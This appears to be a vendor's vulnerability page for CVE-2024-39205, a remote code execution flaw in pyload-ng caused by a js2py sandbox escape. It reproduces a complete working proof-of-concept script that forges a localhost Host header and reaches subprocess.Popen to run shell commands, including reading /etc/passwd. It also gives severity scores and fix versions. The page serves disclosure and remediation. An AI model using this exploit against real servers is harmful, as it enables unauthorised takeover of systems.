Get a Demo

Let's Patch It!

Book a short call with one our specialists, we'll walk you through how Endor Patches work, and ask you a few questions about your environment (like your primary programming languages and repository management). We'll also send you an email right after you fill out the form, feel free to reply with any questions you have in advance!

CVE

CVE-2024-39205

pyload-ng vulnerable to RCE with js2py sandbox escape
Back to all
CVE

CVE-2024-39205

pyload-ng vulnerable to RCE with js2py sandbox escape

Summary

Any pyload-ng running under python3.11 or below are vulnerable under RCE. Attacker can send a request containing any shell command and the victim server will execute it immediately.

Details

js2py has a vulnerability of sandbox escape assigned as CVE-2024-28397, which is used by the /flash/addcrypted2 API endpoint of pyload-ng. Although this endpoint is designed to only accept localhost connection, we can bypass this restriction using HTTP Header, thus accessing this API and achieve RCE.

 

PoC

The PoC is provided as poc.py below, you can modify the shell command it execute:

 ```python

import socket

import base64

from urllib.parse import quote

host, port = input("host: "), int(input("port: "))

payload = """

// [+] command goes here:

let cmd = "head -n 1 /etc/passwd; calc; gnome-calculator;"

let hacked, bymarve, n11

let getattr, obj

hacked = Object.getOwnPropertyNames({})

bymarve = hacked.getattribute

n11 = bymarve("getattribute")

obj = n11("class").base

getattr = obj.getattribute

function findpopen(o) {

    let result;

    for(let i in o.subclasses()) {

        let item = o.subclasses()[i]

        if(item.module == "subprocess" && item.name == "Popen") {

            return item

        }

        if(item.name != "type" && (result = findpopen(item))) {

            return result

        }

    }

}

n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()

console.log(n11)

function f() {

    return n11

}

"""

crypted_b64 = base64.b64encode(b"1234").decode()

 

data = f"package=pkg&crypted={quote(crypted_b64)}&jk={quote(payload)}"

request = f"""\

POST /flash/addcrypted2 HTTP/1.1

Host: 127.0.0.1:9666

Content-Type: application/x-www-form-urlencoded

Content-Length: {len(data)}

{data}

""".encode().replace(b"\n", b"\r\n")

def main():

    s = socket.socket()

    s.connect((host, port))

    s.send(request)

    response = s.recv(1024).decode()

    print(response)

if name == "main":

    main()

```

Impact

Anyone who runs the latest version (<=0.5.0b3.dev85) of  pyload-ng under python3.11 or below. pyload-ng doesn't use js2py for python3.12 or above.

Package Versions Affected

Package Version
patch Availability
No items found.

Automatically patch vulnerabilities without upgrading

Fix Without Upgrading
Detect compatible fix
Apply safe remediation
Fix with a single pull request

CVSS Version

Severity
Base Score
CVSS Version
Score Vector
C
H
U
9.8
-
3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
C
H
U
0
-
3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
C
H
U
9.8
-
3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Related Resources

No items found.

References

https://github.com/pyload/pyload/security/advisories/GHSA-r9pp-r4xf-597r, https://nvd.nist.gov/vuln/detail/CVE-2024-39205, https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape, https://github.com/advisories/GHSA-h95x-26f3-88hr, https://github.com/pyload/pyload, https://pypi.org/project/pyload-ng, https://github.com/advisories/GHSA-r9pp-r4xf-597r

Severity

9.8

CVSS Score
0
10

Basic Information

Base CVSS
9.8
EPSS Probability
0.16513%
EPSS Percentile
0.96638%
Introduced Version
0,0.5.0a6.dev578
Fix Available
0.5.0b3.dev87

Fix Critical Vulnerabilities Instantly

Secure your app without upgrading.
Fix Without Upgrading